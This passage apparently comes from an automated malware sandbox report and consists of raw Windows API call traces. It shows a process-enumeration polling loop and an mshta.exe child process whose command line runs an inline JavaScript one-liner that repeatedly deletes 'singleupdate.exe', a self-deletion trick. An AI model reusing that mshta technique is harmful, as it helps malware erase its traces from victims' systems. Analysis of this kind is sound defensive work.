th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.578] CloseHandle (hObject=0x35c) returned 1 [0279.578] Sleep (dwMilliseconds=0x1) [0279.731] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0279.753] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.882] CloseHandle (hObject=0x35c) returned 1 [0279.883] Sleep (dwMilliseconds=0x1) [0279.963] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0279.967] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.097] CloseHandle (hObject=0x398) returned 1 [0280.097] Sleep (dwMilliseconds=0x1) [0280.178] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0280.183] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.323] CloseHandle (hObject=0x35c) returned 1 [0280.323] Sleep (dwMilliseconds=0x1) [0280.409] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0280.415] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.574] CloseHandle (hObject=0x35c) returned 1 [0280.575] Sleep (dwMilliseconds=0x1) [0280.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0280.637] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.788] CloseHandle (hObject=0x35c) returned 1 [0280.788] Sleep (dwMilliseconds=0x1) [0280.993] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0281.004] Process32First (in: hSnapshot=0x308, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.195] CloseHandle (hObject=0x308) returned 1 [0281.195] Sleep (dwMilliseconds=0x1) [0281.261] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0281.268] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.430] CloseHandle (hObject=0x398) returned 1 [0281.430] Sleep (dwMilliseconds=0x1) [0281.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0281.510] Process32First (in: hSnapshot=0x308, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.676] CloseHandle (hObject=0x308) returned 1 [0281.676] Sleep (dwMilliseconds=0x1) [0281.745] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0281.752] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.872] CloseHandle (hObject=0x398) returned 1 [0281.872] Sleep (dwMilliseconds=0x1) [0281.947] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0281.951] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.057] CloseHandle (hObject=0x398) returned 1 [0282.057] Sleep (dwMilliseconds=0x1) [0282.135] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0282.140] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.262] CloseHandle (hObject=0x398) returned 1 [0282.262] Sleep (dwMilliseconds=0x1) [0282.552] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0282.557] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.724] CloseHandle (hObject=0x398) returned 1 [0282.724] Sleep (dwMilliseconds=0x1) [0282.877] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0282.881] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.039] CloseHandle (hObject=0x398) returned 1 [0283.039] Sleep (dwMilliseconds=0x1) [0283.136] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0283.140] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.262] CloseHandle (hObject=0x398) returned 1 [0283.262] Sleep (dwMilliseconds=0x1) [0283.330] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0283.371] Process32First (in: hSnapshot=0x308, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.478] CloseHandle (hObject=0x308) returned 1 [0283.478] Sleep (dwMilliseconds=0x1) [0283.511] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0283.545] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.650] CloseHandle (hObject=0x398) returned 1 [0283.650] Sleep (dwMilliseconds=0x1) [0283.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0283.689] Process32First (in: hSnapshot=0x308, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.852] CloseHandle (hObject=0x308) returned 1 [0283.852] Sleep (dwMilliseconds=0x1) [0283.919] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0283.924] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.992] CloseHandle (hObject=0x398) returned 1 [0283.992] Sleep (dwMilliseconds=0x1) [0284.064] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0284.071] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.141] CloseHandle (hObject=0x398) returned 1 [0284.141] Sleep (dwMilliseconds=0x1) [0284.152] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0284.156] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.217] CloseHandle (hObject=0x398) returned 1 [0284.217] Sleep (dwMilliseconds=0x1) [0284.296] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0284.301] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.566] CloseHandle (hObject=0x398) returned 1 [0284.566] Sleep (dwMilliseconds=0x1) [0284.632] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0284.638] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.715] CloseHandle (hObject=0x398) returned 1 [0284.715] Sleep (dwMilliseconds=0x1) [0284.729] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0284.734] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.887] CloseHandle (hObject=0x398) returned 1 [0284.887] Sleep (dwMilliseconds=0x1) [0285.264] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0285.269] Process32First (in: hSnapshot=0x308, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.918] CloseHandle (hObject=0x308) returned 1 [0285.918] Sleep (dwMilliseconds=0x1) [0286.077] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0286.081] Process32First (in: hSnapshot=0x308, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 Thread: id = 133 os_tid = 0xf84 [0264.159] GetFileAttributesA (lpFileName="C:\\" (normalized: "c:")) returned 0x16 Process: id = "9" image_name = "mshta.exe" filename = "c:\\windows\\syswow64\\mshta.exe" page_root = "0x61a9d000" os_pid = "0xfe4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xe64" cmd_line = "mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 44 os_tid = 0xe0 [0213.321] GetStartupInfoA (in: lpStartupInfo=0xcffb34 | out: lpStartupInfo=0xcffb34*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0213.321] GetModuleHandleA (lpModuleName=0x0) returned 0x1320000 [0213.321] __set_app_type (_Type=0x2) [0213.321] __p__fmode () returned 0x77ae3c14 [0213.321] __p__commode () returned 0x77ae49ec [0213.321] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1321b70) returned 0x0 [0213.322] __getmainargs (in: _Argc=0x1323018, _Argv=0x132301c, _Env=0x1323020, _DoWildCard=0, _StartInfo=0x132302c | out: _Argc=0x1323018, _Argv=0x132301c, _Env=0x1323020) returned 0 [0213.333] SetProcessDEPPolicy (dwFlags=0x1) returned 1 [0213.333] InitOnceExecuteOnce (in: InitOnce=0x13233fc, InitFn=0x1321790, Parameter=0x0, Context=0x0 | out: InitOnce=0x13233fc, Parameter=0x0, Context=0x0) returned 1 [0213.333] GetVersionExA (in: lpVersionInformation=0x1323360*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1323360*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0213.333] GetVersion () returned 0x3ad7000a [0213.333] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75e90000 [0213.334] GetProcAddress (hModule=0x75e90000, lpProcName="HeapSetInformation") returned 0x75ea5850 [0213.334] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0213.334] malloc (_Size=0x105) returned 0xd90f30 [0213.334] malloc (_Size=0x105) returned 0xd91040 [0213.334] LoadLibraryW (lpLibFileName="WLDP.DLL") returned 0x72dc0000 [0215.983] GetProcAddress (hModule=0x72dc0000, lpProcName="WldpGetLockdownPolicy") returned 0x72dc3c20 [0215.983] WldpGetLockdownPolicy () returned 0x10000000 [0215.983] FreeLibrary (hLibModule=0x72dc0000) returned 1 [0215.988] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="clsid\\{25336920-03f9-11cf-8fd0-00aa00686f13}\\InProcServer32", ulOptions=0x0, samDesired=0x1, phkResult=0xcffb04 | out: phkResult=0xcffb04*=0x136) returned 0x0 [0215.988] RegQueryValueExA (in: hKey=0x136, lpValueName=0x0, lpReserved=0x0, lpType=0xcffafc, lpData=0xd90f30, lpcbData=0xcffaf0*=0x105 | out: lpType=0xcffafc*=0x1, lpData="C:\\Windows\\SysWOW64\\mshtml.dll", lpcbData=0xcffaf0*=0x1f) returned 0x0 [0215.988] LoadLibraryA (lpLibFileName="C:\\Windows\\SysWOW64\\mshtml.dll") returned 0x726c0000 [0219.159] GetProcessHeap () returned 0xfb0000 [0219.159] GetVersion () returned 0x3ad7000a [0219.159] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75e90000 [0219.160] GetProcAddress (hModule=0x75e90000, lpProcName="HeapSetInformation") returned 0x75ea5850 [0219.160] HeapSetInformation (HeapHandle=0xfb0000, HeapInformationClass=0x0, HeapInformation=0xcff6e0, HeapInformationLength=0x4) returned 1 [0219.161] malloc (_Size=0x80) returned 0xd921f0 [0219.170] GetCurrentProcess () returned 0xffffffff [0219.170] GetSystemInfo (in: lpSystemInfo=0x73881ad0 | out: lpSystemInfo=0x73881ad0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0219.170] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0219.170] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0219.170] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0219.170] VerifyVersionInfoW (in: lpVersionInformation=0xcff2e4, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0xcff2e4) returned 1 [0219.170] GetLogicalProcessorInformation (in: Buffer=0x0, ReturnedLength=0xcff404 | out: Buffer=0x0, ReturnedLength=0xcff404) returned 0 [0219.170] GetLastError () returned 0x7a [0219.171] GetProcessHeap () returned 0xfb0000 [0219.171] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xf0) returned 0xfc3800 [0219.171] GetLogicalProcessorInformation (in: Buffer=0xfc3800, ReturnedLength=0xcff404 | out: Buffer=0xfc3800, ReturnedLength=0xcff404) returned 1 [0219.171] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3800 | out: hHeap=0xfb0000) returned 1 [0219.171] GetEnvironmentVariableW (in: lpName="JS_DEBUG_SCOPE", lpBuffer=0xcff41c, nSize=0x104 | out: lpBuffer="\x2dc4\xfc\x02") returned 0x0 [0219.282] __dllonexit () returned 0x72e23780 [0219.282] __dllonexit () returned 0x72e237a0 [0219.282] __dllonexit () returned 0x72e237b0 [0219.282] __dllonexit () returned 0x72e23770 [0219.282] __dllonexit () returned 0x72e237e0 [0219.283] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x4d60000 [0219.283] __dllonexit () returned 0x72e23790 [0219.283] GlobalMemoryStatusEx (in: lpBuffer=0xcff5e0 | out: lpBuffer=0xcff5e0) returned 1 [0219.284] __dllonexit () returned 0x72e23740 [0219.284] __dllonexit () returned 0x72e229b0 [0219.284] __dllonexit () returned 0x72e229c0 [0219.284] GetProcessHeap () returned 0xfb0000 [0219.284] __dllonexit () returned 0x72e23820 [0219.284] __dllonexit () returned 0x72e23830 [0219.284] __dllonexit () returned 0x72e23840 [0219.284] __dllonexit () returned 0x72e23850 [0219.284] __dllonexit () returned 0x72e229e0 [0219.284] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc0f4 [0219.285] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc0f4 [0219.285] __dllonexit () returned 0x72e22a00 [0219.286] __dllonexit () returned 0x72e22a20 [0219.286] __dllonexit () returned 0x72e22a40 [0219.286] __dllonexit () returned 0x72e22a60 [0219.286] __dllonexit () returned 0x72e22a90 [0219.286] __dllonexit () returned 0x72e22a70 [0219.286] __dllonexit () returned 0x72e22aa0 [0219.286] __dllonexit () returned 0x72e22a80 [0219.287] __dllonexit () returned 0x72e22a50 [0219.287] GlobalMemoryStatusEx (in: lpBuffer=0xcff5e0 | out: lpBuffer=0xcff5e0) returned 1 [0219.287] __dllonexit () returned 0x72e22ab0 [0219.287] __dllonexit () returned 0x72e22ac0 [0219.287] __dllonexit () returned 0x72e22ae0 [0219.288] __dllonexit () returned 0x72e22b00 [0219.288] __dllonexit () returned 0x72e22b20 [0219.288] __dllonexit () returned 0x72e22b40 [0219.288] __dllonexit () returned 0x72e22b60 [0219.289] __dllonexit () returned 0x72e22b80 [0219.290] QueryPerformanceFrequency (in: lpFrequency=0xcff620 | out: lpFrequency=0xcff620*=100000000) returned 1 [0219.291] __dllonexit () returned 0x72e22ba0 [0219.291] __dllonexit () returned 0x72e22bb0 [0219.291] __dllonexit () returned 0x72e22c20 [0219.291] __dllonexit () returned 0x72e22be0 [0219.291] __dllonexit () returned 0x72e22bf0 [0219.291] __dllonexit () returned 0x72e22c00 [0219.291] __dllonexit () returned 0x72e22c10 [0219.291] __dllonexit () returned 0x72e22bd0 [0219.291] __dllonexit () returned 0x72e22c30 [0219.291] __dllonexit () returned 0x72e22c50 [0219.291] __dllonexit () returned 0x72e22c40 [0219.291] __dllonexit () returned 0x72e22c70 [0219.292] __dllonexit () returned 0x72e22c90 [0219.292] __dllonexit () returned 0x72e22cb0 [0219.292] __dllonexit () returned 0x72e22cd0 [0219.292] __dllonexit () returned 0x72e22cf0 [0219.292] __dllonexit () returned 0x72e22d70 [0219.292] __dllonexit () returned 0x72e22d50 [0219.292] __dllonexit () returned 0x72e22d30 [0219.292] __dllonexit () returned 0x72e22d10 [0219.292] RtlInitializeConditionVariable (in: ConditionVariable=0x7387f24c | out: ConditionVariable=0x7387f24c) [0219.292] RtlInitializeConditionVariable (in: ConditionVariable=0x7387f25c | out: ConditionVariable=0x7387f25c) [0219.292] __dllonexit () returned 0x72e22d90 [0219.292] __dllonexit () returned 0x72e22db0 [0219.293] __dllonexit () returned 0x72e22dc0 [0219.293] __dllonexit () returned 0x72e22dd0 [0219.293] __dllonexit () returned 0x72e22df0 [0219.293] __dllonexit () returned 0x72e22e10 [0219.293] __dllonexit () returned 0x72e22e30 [0219.293] __dllonexit () returned 0x72e22e50 [0219.293] __dllonexit () returned 0x72e22e70 [0219.293] __dllonexit () returned 0x72e22e90 [0219.293] __dllonexit () returned 0x72e22eb0 [0219.293] __dllonexit () returned 0x72e22ec0 [0219.293] __dllonexit () returned 0x72e22ed0 [0219.293] __dllonexit () returned 0x72e22ee0 [0219.294] __dllonexit () returned 0x72e22ef0 [0219.294] __dllonexit () returned 0x72e22f10 [0219.294] __dllonexit () returned 0x72e22f20 [0219.294] __dllonexit () returned 0x72e22f30 [0219.294] __dllonexit () returned 0x72e22f50 [0219.294] __dllonexit () returned 0x72e22f70 [0219.294] __dllonexit () returned 0x72e22fb0 [0219.294] __dllonexit () returned 0x72e22fc0 [0219.294] __dllonexit () returned 0x72e23000 [0219.294] __dllonexit () returned 0x72e23010 [0219.294] __dllonexit () returned 0x72e23020 [0219.294] RtlInitializeConditionVariable (in: ConditionVariable=0x738899c0 | out: ConditionVariable=0x738899c0) [0219.295] __dllonexit () returned 0x72e23040 [0219.295] __dllonexit () returned 0x72e23090 [0219.295] __dllonexit () returned 0x72e23050 [0219.295] RtlInitializeConditionVariable (in: ConditionVariable=0x7387f3ec | out: ConditionVariable=0x7387f3ec) [0219.295] __dllonexit () returned 0x72e23070 [0219.295] __dllonexit () returned 0x72e23080 [0219.295] __dllonexit () returned 0x72e230c0 [0219.295] __dllonexit () returned 0x72e230a0 [0219.295] __dllonexit () returned 0x72e230d0 [0219.295] __dllonexit () returned 0x72e230f0 [0219.295] __dllonexit () returned 0x72e23110 [0219.295] RtlInitializeConditionVariable (in: ConditionVariable=0x738899ec | out: ConditionVariable=0x738899ec) [0219.296] __dllonexit () returned 0x72e23130 [0219.296] __dllonexit () returned 0x72e23150 [0219.296] __dllonexit () returned 0x72e23160 [0219.296] __dllonexit () returned 0x72e23170 [0219.296] __dllonexit () returned 0x72e23180 [0219.296] RtlInitializeConditionVariable (in: ConditionVariable=0x738899f0 | out: ConditionVariable=0x738899f0) [0219.296] __dllonexit () returned 0x72e23190 [0219.296] __dllonexit () returned 0x72e231b0 [0219.296] __dllonexit () returned 0x72e231c0 [0219.297] __dllonexit () returned 0x72e231d0 [0219.297] __dllonexit () returned 0x72e23230 [0219.297] __dllonexit () returned 0x72e23220 [0219.297] __dllonexit () returned 0x72e231f0 [0219.297] __dllonexit () returned 0x72e23210 [0219.297] __dllonexit () returned 0x72e23200 [0219.297] __dllonexit () returned 0x72e23240 [0219.297] __dllonexit () returned 0x72e23260 [0219.297] __dllonexit () returned 0x72e23280 [0219.298] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0219.298] __dllonexit () returned 0x72e23290 [0219.298] __dllonexit () returned 0x72e232b0 [0219.298] __dllonexit () returned 0x72e232a0 [0219.432] EtwEventRegister (in: ProviderId=0x72876f80, EnableCallback=0x72d432c0, CallbackContext=0x73760090, RegHandle=0x7388adc8 | out: RegHandle=0x7388adc8) returned 0x0 [0219.432] EtwEventRegister (in: ProviderId=0x72876f70, EnableCallback=0x72d432c0, CallbackContext=0x737601d8, RegHandle=0x73882180 | out: RegHandle=0x73882180) returned 0x0 [0219.433] EtwEventRegister (in: ProviderId=0x72876f60, EnableCallback=0x72d432c0, CallbackContext=0x7376af60, RegHandle=0x73882178 | out: RegHandle=0x73882178) returned 0x0 [0219.433] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xbbf8) returned 0x4d605a8 [0219.433] RtlInitializeSListHead (in: ListHead=0x4d60608 | out: ListHead=0x4d60608) [0219.433] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\ChakraRecycler", ulOptions=0x0, samDesired=0x20019, phkResult=0xcff4d8 | out: phkResult=0xcff4d8*=0x0) returned 0x2 [0219.433] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\ChakraRecycler", ulOptions=0x0, samDesired=0x20019, phkResult=0xcff4d8 | out: phkResult=0xcff4d8*=0x0) returned 0x2 [0219.433] GetModuleHandleW (lpModuleName=0x0) returned 0x1320000 [0219.433] GetCurrentProcess () returned 0xffffffff [0219.433] GetCurrentProcess () returned 0xffffffff [0219.433] RtlInitializeSListHead (in: ListHead=0x4d60798 | out: ListHead=0x4d60798) [0219.433] RtlInitializeSListHead (in: ListHead=0x4d607b8 | out: ListHead=0x4d607b8) [0219.433] GetCurrentProcess () returned 0xffffffff [0219.434] RtlInitializeSListHead (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) [0219.434] RtlInitializeSListHead (in: ListHead=0x4d60898 | out: ListHead=0x4d60898) [0219.434] GetCurrentProcess () returned 0xffffffff [0219.434] RtlInitializeSListHead (in: ListHead=0x4d60958 | out: ListHead=0x4d60958) [0219.434] RtlInitializeSListHead (in: ListHead=0x4d60978 | out: ListHead=0x4d60978) [0219.434] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x113c) returned 0x4d6c1a8 [0219.434] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x113c) returned 0x4d6d2f0 [0219.434] GetCurrentProcess () returned 0xffffffff [0219.434] GetCurrentProcess () returned 0xffffffff [0219.434] GetCurrentProcess () returned 0xffffffff [0219.434] GetCurrentProcess () returned 0xffffffff [0219.436] GetTickCount () returned 0x365ef [0219.436] GetTickCount () returned 0x365ef [0219.436] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x78) returned 0x4d6e438 [0219.436] rand_s (in: 